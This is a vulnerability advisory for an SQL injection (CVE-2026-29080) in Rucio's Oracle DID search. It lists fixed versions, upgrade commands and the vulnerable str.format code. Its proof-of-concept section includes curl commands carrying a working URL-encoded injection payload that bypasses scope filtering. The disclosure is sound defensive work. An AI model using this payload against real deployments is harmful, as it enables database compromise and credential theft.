rucio
Affected
- introduced
1.27.0, fixed35.8.5(ecosystem)
Fixed versions
35.8.5
Fix
- Fixed version
35.8.5pip install --upgrade rucio==35.8.5
Advisory
Also known as: CVE-2026-29080, PYSEC-2026-528
Rucio has SQL Injection in FilterEngine Oracle JSON Path via DID Search API
Summary
A SQL injection vulnerability in the Oracle path of FilterEngine.create_sqla_query allows any authenticated Rucio user to execute arbitrary SQL against the backend database through the DID search endpoint (GET /dids/<scope>/dids/search). Attacker-controlled filter keys and values are interpolated directly into sqlalchemy.text via Python str.format, completely bypassing parameterization. This enables full database compromise including extraction of authentication tokens, password hashes, and all managed data identifiers. The vulnerability is affecting deployments using the default metadata plugin configuration json_meta with Oracle database backends.
---
Details
The vulnerability exists in lib/rucio/core/did_meta_plugins/filter_engine.py within the create_sqla_query() method. When the database dialect is Oracle, filter expressions for JSON metadata columns are constructed using text() with Python string formatting:
filter_engine.py:552 (string equality — default branch):
expression = text("json_exists({},'$?(@.{} {} \"{}\")')".format(
json_column.key, key, ORACLE_OP_MAP[oper], value))
filter_engine.py:548 (boolean branch):
expression = text("json_exists({},'$?(@.{}.boolean() {} \"{}\")')".format(
json_column.key, key, ORACLE_OP_MAP[oper], value))
filter_engine.py:550 (numeric branch — value unquoted):
expression = text("json_exists({},'$?(@.{} {} {})')".format(
json_column.key, key, ORACLE_OP_MAP[oper], value))
filter_engine.py:542 (wildcard/LIKE branch):
expression = text("json_exists({},'$?(@.{} like \"{}\")')".format(
json_column.key, key, value.replace('*', '%')))
Both key and value are attacker-controlled strings derived from HTTP query parameters. The text() function creates a raw SQL fragment — it does not escape or parameterize its contents.
Why no existing defense blocks this
The complete data flow from HTTP request to SQL execution passes through 7 layers with no effective sanitization:
dids.py:265-274): Filter keys and values are accepted from query parameters via ast.literal_eval() (which accepts arbitrary Python string literals) or directly from individual query argument names/values.did_meta_plugins/__init__.py:227-248): Each filter key is checked via manages_key(). For keys that are NOT columns of the DataIdentifier model (e.g., custom metadata keys like custom_key), did_column_meta.manages_key() returns False, and the request falls through to json_meta.manages_key(), which returns True for any key on Oracle ≥12 (json_meta.py:234 → json_implemented() → True).filter_engine.py:260): The json_meta plugin instantiates FilterEngine with strict_coerce=False (json_meta.py:178). In _coerce_filter_word_to_model_attribute() (line 116), when the key is not an attribute of models.DidMeta and strict=False, the raw string is returned without validation.filter_engine.py:275-297): _try_typecast_string() attempts to parse the value as a boolean, datetime, or number. SQL injection strings fail all these parsers and are returned unchanged as strings.filter_engine.py:149-190): _sanity_check_translated_filters() only validates did_type, name, length, wildcard operators, created_at format, and duplicates. It does not validate arbitrary key names or values for SQL-unsafe characters.filter_engine.py:536-554): On Oracle, the unsanitized key and value strings are interpolated directly into text() via .format().json_meta.py:199,212): The resulting Select statement containing the injected text() clause is executed via session.execute(stmt).Note on the non-Oracle path
The non-Oracle branch of create_sqla_query() (lines 555-579) uses SQLAlchemy's json_column[key].as_string() accessor, which compiles the key as a bind parameter (%(meta_1)s). This path is not vulnerable. The vulnerability is specific to the Oracle dialect branch that uses text() with .format().
---
PoC
Prerequisites:
json_meta as custom plugin — this is the default)Note on injection technique: The text() fragment is inserted into a SQLAlchemy query that includes additional bind-parameter conditions (e.g., AND system.did_meta.scope = :scope_1). SQL comment (--) cannot be used to discard the trailing syntax because cx_Oracle validates that all registered bind parameters exist in the SQL text, raising ORA-01036 if they are commented out. Instead, the injection consumes the template's trailing characters (")')) by opening a dummy json_exists() call that the trailing characters close naturally, preserving all bind parameters.
The format template suffix after the injected value is exactly ")') — four characters: closing double-quote, closing predicate paren, closing path string single-quote, closing json_exists() paren. The payload opens a new json_exists(meta,'$?(@.a == "b which the suffix closes as json_exists(meta,'$?(@.a == "b")').
1. Obtain an authentication token
TOKEN=$(curl -s -k \
-H 'X-Rucio-Account: testuser' \
-H 'X-Rucio-Username: testuser' \
-H 'X-Rucio-Password: testpass' \
'https://rucio.example.org/auth/userpass' \
-D - 2>/dev/null | grep -i 'x-rucio-auth-token' | awk '{print $2}' | tr -d '\r')
2. Boolean-based scope bypass
curl -s -k \
-H "X-Rucio-Auth-Token: $TOKEN" \
-H "Accept: application/x-json-stream" \
'https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x%22%27)%20OR%201%3D1%20OR%20json_exists(meta%2C%27%24%3F(%40.a%20%3D%3D%20%22b'
URL-decoded filter value: x")') OR 1=1 OR json_exists(meta,'$?(@.a == "b
Generated SQL inside `text()`:
json_exists(meta,'$?(@.custom_key == "x")') OR 1=1 OR json_exists(meta,'$?(@.a == "b")')
Full WHERE clause as compiled by SQLAlchemy:
WHERE json_exists(meta,'$?(@.custom_key == "x")') OR 1=1 OR json_exists(meta,'$?(@.a == "b")') AND system.did_meta.scope = :scope_1
Why this bypasses the scope filter: SQL operator precedence — AND binds tighter than OR. Oracle parses this as:
WHERE
json_exists(...) -- disjunct 1
OR 1=1 -- disjunct 2 (always TRUE)
OR (json_exists(...) AND system.did_meta.scope = :scope_1) -- disjunct 3
Because 1=1 is unconditionally true, the entire WHERE clause evaluates to TRUE for every row regardless of scope. All bind parameters (:scope_1) remain intact in the SQL — no ORA-01036.
Critical Basis: The source's own band: CRITICAL
1.27.0, fixed 35.8.5 (ecosystem)35.8.5
35.8.5pip install --upgrade rucio==35.8.536.0.0, fixed 38.5.5 (ecosystem)38.5.5
38.5.5pip install --upgrade rucio==38.5.539.0.0, fixed 39.4.2 (ecosystem)39.4.2
39.4.2pip install --upgrade rucio==39.4.240.0.0, fixed 40.1.1 (ecosystem)40.1.1
40.1.1pip install --upgrade rucio==40.1.1Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0